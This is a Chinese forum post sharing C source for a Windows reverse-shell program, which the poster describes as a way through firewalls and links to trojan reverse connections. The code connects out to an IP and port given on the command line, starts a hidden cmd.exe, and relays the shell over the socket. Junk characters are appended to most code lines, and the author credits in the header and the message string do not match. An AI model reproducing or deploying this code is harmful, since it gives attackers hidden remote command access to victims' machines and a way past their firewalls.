社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4145阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8Ib5  
Gdr7d  
/* ============================== 5ZjM:wrF|  
Rebound port in Windows NT RCMO?CBe  
By wind,2006/7 /< \do 1  
===============================*/ .WS7gTw  
#include 7Pr5`#x#  
#include .c@,$z2M  
T*#<p;  
#pragma comment(lib,"wsock32.lib") QKh vP>  
qbo W<W<H1  
void OutputShell(); 960rbxKy3  
SOCKET sClient; fn.}LeeS>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `llSHsIkXb  
!I Byv%m&\  
void main(int argc,char **argv) cK t8e^P  
{ b(_PV#@$  
WSADATA stWsaData; +?Y(6$o  
int nRet; 0*:4@go0}i  
SOCKADDR_IN stSaiClient,stSaiServer; 6S?*z `v  
(oB9$Zz!t  
if(argc != 3) $B@K  
{ A w)P%r  
printf("Useage:\n\rRebound DestIP DestPort\n"); AeEF/*  
return; bAL!l\&2  
} A"T*uv|  
(C hL$!x  
WSAStartup(MAKEWORD(2,2),&stWsaData); p"q4R2_/jh  
tH9BC5+r}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5x}Or fDU  
v H vwH  
stSaiClient.sin_family = AF_INET; UzUt=s!^H  
stSaiClient.sin_port = htons(0); X-5&c$hv  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6M@m`c  
WQ1*)h8,9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^/jALA9!  
{ *Ui>NTl  
printf("Bind Socket Failed!\n"); XLFo"f  
return; E#,n.U>#)  
} H_7X%TvXb  
pAd SOR2  
stSaiServer.sin_family = AF_INET; %I;iP|/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /-1 F9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Zo xJ&  
]39A1&af}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q}%;O >Z  
{ f"A?\w @  
printf("Connect Error!"); ,7izrf8  
return; lof}isOz  
} &^JY  
OutputShell(); u9)<i]2  
} <utD&D8w  
+X7+:QQ }  
void OutputShell() R6 dD17  
{ f*ZIBTb 9  
char szBuff[1024]; _z \PVTT  
SECURITY_ATTRIBUTES stSecurityAttributes; qU:Mvb^5&  
OSVERSIONINFO stOsversionInfo; 2~SjRIpUw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j!QP>AM|`  
STARTUPINFO stStartupInfo; vq*)2.  
char *szShell; Zk n1@a  
PROCESS_INFORMATION stProcessInformation; >-YWq  
unsigned long lBytesRead; 3}X;WE `  
|%-:qk4rG  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +#R<emW  
NQhlb"Ix  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S t0AV.N1  
stSecurityAttributes.lpSecurityDescriptor = 0; $5a%hK  
stSecurityAttributes.bInheritHandle = TRUE; 7eekTh, ?  
[lX3":)  
-( +/u .  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7= x]p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z'ZGN{L  
3QzHQU  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =o+))R4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~85Pgb<  
stStartupInfo.wShowWindow = SW_HIDE; Yet!qmZ  
stStartupInfo.hStdInput = hReadPipe; QH_I<Y:n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5\$8"/H  
p;m2RHYF  
GetVersionEx(&stOsversionInfo); }w8:`g'T0/  
1A b=1g{  
switch(stOsversionInfo.dwPlatformId) kKR Z79"7s  
{ _<1uO=km6  
case 1: o]|a5. O  
szShell = "command.com"; Xm}~u?$3  
break; CJu3h&Rp  
default: f,}]h~w\  
szShell = "cmd.exe"; XK4idC  
break; 4`#3p@-  
} /|2#s%|-=  
-wjvD8fL  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UP}5Eh  
W g2Y`2@t  
send(sClient,szMsg,77,0); l4s_9  
while(1) tJ,x>s?Y  
{ K@z zseQ}=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pC'GKk 8  
if(lBytesRead) =D2x@ank[  
{ T5+iX`#M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l ,T*b  
send(sClient,szBuff,lBytesRead,0); YaDr.?  
} $!_]mz6*  
else \#; -C<[b  
{ (S[" ak  
lBytesRead=recv(sClient,szBuff,1024,0); jTJ]: EN  
if(lBytesRead<=0) break; Z;#Ei.7p|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .<C}/Cl  
} 9V=bV=4:  
} U ExK|t  
-Vi"hSsUP  
return; @i[z4)"S  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八